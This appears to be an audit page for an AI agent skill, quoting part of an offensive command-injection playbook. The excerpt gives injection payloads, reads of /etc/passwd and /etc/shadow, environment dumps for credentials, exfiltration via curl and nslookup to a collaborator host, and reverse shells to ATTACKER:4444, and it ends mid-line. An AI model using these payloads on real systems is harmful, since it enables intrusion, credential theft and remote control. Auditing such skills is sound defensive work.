Agent skill · Audited from source
cmdi-command-injection
skill · yaklang/hack-skillsMIT licenceAudited 13 Nov 2026 · source a6bc8e8fefb6
Is it safe? With care — CAUTION, grade B (89/100). We read this skill's source at commit a6bc8e8fefb6 and found no filesystem, network or shell access and no hard-coded secrets. The audit raised 2 findings, 1 critical or high. What it does: Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.
Cite
Cite this page
ModelsAtlas. “cmdi-command-injection (yaklang/hack-skills)”. Retrieved 13 Nov 2026. https://modelsatlas.com/skills/yaklang/cmdi-command-injection
Trust audit
Audit 0.4.1 · source read 13 Nov 2026
CAUTION means the audit found things worth knowing before you trust this skill. Grade B is shared by 17,406 of 18,389 audited skills.
What the source does
- FilesystemNone observedNo reads or writes in the source
- NetworkNone observedNo outbound calls in the source
- ShellNone observedNo commands run in the source
- DependenciesPinnedNothing floats
- SecretsNone foundNo keys in source
Five audit layers
| Layer | What we check | Result | Findings |
|---|---|---|---|
L0 Provenance | Repo owner, licence, archive status, activity | PASS | 0 |
L1 Static source | Secrets, path traversal, supply chain, hidden code | NA | 1 |
L2 Instructions | Prompt injection, authority framing, hidden directives | FAIL | 1 |
L3 Inventory | The files and declarations match the source | PASS | 0 |
L4 Sandbox | Run in isolation and watch behaviour | SKIPPED why | 0 |
Gates applied: no behavioural pass.
Findings (2)
HIGHPrompt injectionprompt.credential_read · SKILL.md:191
; cat /etc/shadow # password hashes (if root)
- Why
- asks the agent to read credentials
- Fix
- —
MEDIUMNetwork egressnet.raw_ip · SKILL.md:451
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id > /tmp/out`'
- Why
- No further detail recorded for this rule.
- Fix
- —
Audit 0.4.1 · source sha a6bc8e8fefb6 · 13 Nov 2026Report an issue or request a re-scan
Provenance
Who published it, and what the verdict is pinned to
- Publisheryaklang GitHub organizationOwner of the repository this skill is read from
- Source folderyaklang/hack-skills/skills/cmdi-command-injectionThe exact folder we audited
- LicenceMITAs the repository states it
- Commit pinned for this verdicta6bc8e8fefb6A new audit runs when the source changes
- Repository statusNot archivedLast push 60 days ago
- Sandboxed runNot runSkills are read, not executed; layer L4 is skipped
What it tells the agent
Full source on GitHub ↗Its description: Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.
---
name: cmdi-command-injection
description: >-
Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.
---
# SKILL: OS Command Injection — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.
## 0. RELATED ROUTING
Before going deep, you can first load:
- [upload insecure files](../upload-insecure-files/SKILL.md) when the shell sink is part of a broader upload, import, or conversion workflow
### First-pass payload families
| Context | Start With | Backup |
|---|---|---|
| generic shell separator | `;id` | `&&id` |
| quoted argument | `";id;"` | `';id;'` |
| blind timing | `;sleep 5` | `& timeout /T 5 /NOBREAK` |
| command substitution | `$(id)` | `` `id` `` |
| out-of-band DNS | `;nslookup token.collab` | Windows `nslookup` variant |
```text
cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid
```
---
## 1. SHELL METACHARACTERS (INJECTION OPERATORS)
These characters break out of the command context and inject new commands:
| Metacharacter | Behavior | Example |
|---|---|---|
| `;` | Runs second command regardless | `dir; whoami` |
| `\|` | Pipes stdout to second command | `dir \| whoami` |
| `\|\|` | Run second only if first FAILS | `dir \|\| whoami` |
| `&` | Run second in background (or sequenced in Windows) | `dir & whoami` |
| `&&` | Run second only if first SUCCEEDS | `dir && whoami` |
| `$(cmd)` | Command substitution | `echo $(whoami)` |
| `` `cmd` `` | Command substitution (backtick) | `` echo `whoami` `` |
| `>` | Redirect stdout to file | `cmd > /tmp/out` |
| `>>` | Append to file | `cmd >> /tmp/out` |
| `<` | Read file as stdin | `cmd < /etc/passwd` |
| `%0a` | Newline character (URL-encoded) | `cmd%0awhoami` |
| `%0d%0a` | CRLF | Multi-command injection |
---
## 2. COMMON VULNERABLE CODE PATTERNS
### PHP
```php
$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)
exec("ping -c 1 " . $ip); // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file); // ImageMagick RCE
passthru("nslookup " . $host); // $host = "x.com; id"
```
### Python
```python
import os
os.system("curl " + url) # url = "x.com; id"
subprocess.call("ls " + path, shell=True) # shell=True is the key vulnerability
os.popen("ping " + host)
```
### Node.js
```javascript
const { exec } = require('child_process');
exec('ping ' + req.query.host, ...); // host = "x.com; id"
```
### Perl
```perl
$dir = param("dir");
$command = "du -h /var/www/html" . $dir;
system($command);
// Inject dir field: | cat /etc/passwd
```
### ASP (Classic)
```vb
szCMD = "type C:\logs\" & Request.Form("FileName")
Set oShell = Server.CreateObject("WScript.Shell")
oShell.Run szCMD
// Inject FileName: foo.txt & whoami > C:\inetpub\wwwroot\out.txt
```
---
## 3. BLIND COMMAND INJECTION — DETECTION
When response shows no command output:
### Time-Based Detection
```bash
# Linux:
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
& sleep 5 &
# Windows:
& timeout /T 5 /NOBREAK
& ping -n 5 127.0.0.1
& waitfor /T 5 signal777
```
Compare response time without payload vs with payload. 5+ second delay = confirmed.
### OOB via DNS
```bash
# Linux:
; nslookup BURP_COLLAB_HOST
; host `whoami`.BURP_COLLAB_HOST
$(nslookup $(whoami).BURP_COLLAB_HOST)
# Windows:
& nslookup BURP_COLLAB_HOST
& nslookup %USERNAME%.BURP_COLLAB_HOST
```
### OOB via HTTP
```bash
# Linux:
; curl http://BURP_COLLAB_HOST/`whoami`
; wget http://BURP_COLLAB_HOST/$(id|base64)
# Windows:
& powershell -c "Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)"
```
### OOB via Out-of-Band File
```bash
; id > /var/www/html/RANDOM_FILE.txt
# Then access: https://target.com/RANDOM_FILE.txt
```
---
## 4. INJECTION CONTEXT VARIATIONS
### Within Quoted String
```bash
command "INJECT"
# Inject: " ; id ; "
# Result: command "" ; id ; ""
```
### Within Single-Quoted String
```bash
command 'INJECT'
# Inject: '; id;'
# Result: command ''; id;''
```
### Within Backtick Execution
```bash
output=`command INJECT`
# Inject: x`; id ;`
```
### File Path Context
```bash
cat /var/log/INJECT
# Inject: ../../../etc/passwd (path traversal)
# Inject: access.log; id (command injection)
```
---
## 5. PAYLOAD LIBRARY
### Information Gathering
```bash
; id # current user
; whoami # user name
; uname -a # OS info
; cat /etc/passwd # user list
; cat /etc/shadow # password hashes (if root)
; ls /home/ # home directories
; env # environment variables (DB creds, API keys!)
; printenv # same
; cat /proc/1/environ # process environment
; ifconfig # network interfaces
; cat /etc/hosts # host entries
```
### Reverse Shells (Linux)
```bash
# Bash:
; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
# Python:
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Netcat (with -e):
; nc ATTACKER 4444 -e /bin/bash
# Netcat (without -e / OpenBSD):
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f
# Perl:
; perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```
### Reverse Shells (Windows via PowerShell)
```powershell
& powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX (New-Object Net.WebCliExcerpt, first 6,000 characters of SKILL.md, verbatim from the audited commit. It is text from someone else’s repository, quoted so you can judge it before your agent reads it.
Install
Pinned to the audited commit a6bc8e8
git clone https://github.com/yaklang/hack-skills git -C hack-skills checkout a6bc8e8fefb6
The author documents no install command, so this uses the repository directly. Our verdict covers commit a6bc8e8fefb6 only.
Works in
The author has not said which agents this skill supports, and we have not tested it in any.
Audit history
Every audit, every source change
- !CAUTION B 89 / 100
first audit · source
a6bc8e8fefb6
README badge
For maintainers · shows the latest audit
[](https://modelsatlas.com/skills/yaklang/cmdi-command-injection/)
The badge shows our verdict and grade for this skill, and links back to this page. It changes when the audit does.
Similar skills
mattpocock/skills
Implement a piece of work based on a spec or set of tickets.
mattpocock/skills
Compact the current conversation into a handoff document for another agent to pick up.
mattpocock/skills
Pursue a long-running goal in a single session by co-ordinating subagents.
Add this badge to your README
[](https://modelsatlas.com/skills/yaklang/cmdi-command-injection/)
<a href="https://modelsatlas.com/skills/yaklang/cmdi-command-injection/"><img src="https://modelsatlas.com/skills/yaklang/cmdi-command-injection/badge.svg" alt="ModelsAtlas: CAUTION B"></a>
Questions about cmdi-command-injection
What does the cmdi-command-injection skill do?
Is cmdi-command-injection safe to install?
What can cmdi-command-injection access on my machine?
How current is this page?
Sources
- github.com/yaklang/hack-skills/tree/main/skills/cmdi-command-inj — the audited source at commit a6bc8e8fefb6 and every finding aboveObserved · 13 Nov 2026
Spotted something wrong? Report a correction · Methodology
Keep going in your AI
Opens with this page as the source. We add nothing else to the prompt.
- What does the cmdi-command-injection skill do?
- Is cmdi-command-injection safe to install?
- What can cmdi-command-injection access on my machine?